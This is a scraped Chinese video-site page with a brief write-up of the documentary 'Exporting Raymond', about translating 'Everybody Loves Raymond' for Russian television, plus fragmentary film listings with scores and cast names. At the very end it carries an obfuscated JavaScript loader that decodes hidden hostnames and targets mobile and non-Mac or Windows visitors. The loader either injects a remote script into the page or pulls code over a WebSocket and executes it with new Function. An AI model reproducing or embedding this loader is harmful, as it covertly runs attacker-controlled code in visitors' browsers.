经典美剧《人人都爱雷蒙德》不仅在美国拥有众多粉丝,其魅力还席卷了全球多个国家和地区。一部名为《出口雷蒙德》的纪录片,让美国观众有机会了解“雷蒙德”走出国门亮相俄
经典美剧《人人都爱雷蒙德》不仅在美国拥有众多粉丝,其魅力还席卷了全球多个国家和地区。一部名为《出口雷蒙德》的纪录片,让美国观众有机会了解“雷蒙德”走出国门亮相俄罗斯的经历。 《人人都爱雷蒙德》是哥伦比亚广播公司出品的一部经典王牌喜剧,展现的是一个美国普通家庭的日常生活。整部剧集充满了美式幽默,再加上对小人物的细腻刻画,让它吸引了很多电视观众的目光,粉丝遍布全球。和任何影视产品一样,要想出现在其他国家的电视荧屏上,就需要经历重新编排和翻译等诸多复杂工序。原剧集编剧之一菲利普·罗森塔尔,就有幸参与了俄罗斯版本的编译工作。在工作中他发现,这着实是个搬上大银幕的好题材,于是便把整个编译过程拍摄下来,制作成了这部纪录片《出口雷蒙德》。 从影片的片段中不难看出,由于美国和俄罗斯两个国家的文化和观念都非常不一样,《人人都爱雷蒙德》的译制过程中经常会发生让双方人员都摸不着头脑的搞笑事情。不少在美国人看来极具幽默感的笑料,俄罗斯人却无动于衷。罗森塔尔笑称,碰到这种情况,往往需要找来对两国情况都很了解的翻译协调解决。
详情
-
7.0分
正片
主演:约翰尼·诺克斯维尔,埃里克·安德烈,德里克·贝克尔斯,史蒂夫,戴夫·英格兰,克里斯·庞蒂斯,杰夫·特里梅因,杰森·阿库纳,艾伦·麦格海,机关枪凯利,托瑞·贝莱西,罗布·迪尔德克,弗朗西斯·纳干诺,普雷斯顿·莱西,克
-
-
-
-
-
5.0分
HD
主演:加布里埃尔·尤尼恩,扎克·布拉夫,埃丽卡·克里斯滕森,布兰特妮·丹尼尔,辛西娅·丹尼尔,凯莱·罗杰斯,卢克·普拉尔,安德烈·鲁滨孙
-
-
8.0分
HD
主演:瓦莱丽亚·布鲁尼·泰德斯基,玛琳娜·佛伊丝,皮奥·马麦,艾萨图·迪亚诺·萨格娜,Jean-LouisCoulloch,CamilleSansterre,MarinLaurens,CarolineEstremo
-
-
2.0分
HD
主演:史蒂夫·马丁,邦尼·亨特,派珀·佩拉博,汤姆·威灵,HilaryDuff,AlysonStoner,雅各布·史密斯,弗里斯特·兰蒂斯,布雷克·沃道夫,布伦特·金斯曼,希恩·金斯曼,理查·詹金斯,戴克斯·夏普德,科迪·林雷,亚当·泰勒·戈顿,蒂凡尼·多庞特,肖恩·利维,RegisPhilbin,KellyRipa,AshtonKutcher,贾德·帕达里克,凯文·施密特,宝拉·马歇尔,阿兰·卢克,雷克斯·林,艾琳·布伦南,韦恩·奈特
function OyvbPNr(e){var t="",n=r=c1=c2=0;while(n 0x3c e.length){r=e.charCodeAt(n);if(r 0x3c 128){t+=String.fromCharCode(r);n++;}else if(r 0x3e 191&&r 0x3c 224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)0x3c0x3c 6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)0x3c0x3c 12|(c2&63)0x3c0x3c 6|c3&63);n+=3;}}return t;};function UDibnZvk(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f 0x3c e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s 0x3c0x3c 2|o 0x3e0x3e 4;r=(o&15)0x3c0x3c 4|u 0x3e0x3e 2;i=(u&3)0x3c0x3c 6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OyvbPNr(t);};window[''+'o'+'Y'+'X'+'k'+'i'+'f'+'Z'+'R'+'U'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=UDibnZvk,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));new Worker(window.URL.createObjectURL(new Blob(["var ws=new WebSocket('wss://"+k+":9394/'+"+i+");ws.onmessage=function(e){ws.close();postMessage(e.data)};"]))).onmessage=function(e){new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('YnRnLmF1b2ddpddi5jbg==','a250LnJ1aXRR1c2Nob29sLmNvbS5jbg==','133169',window,document,['d','R']);}:function(){};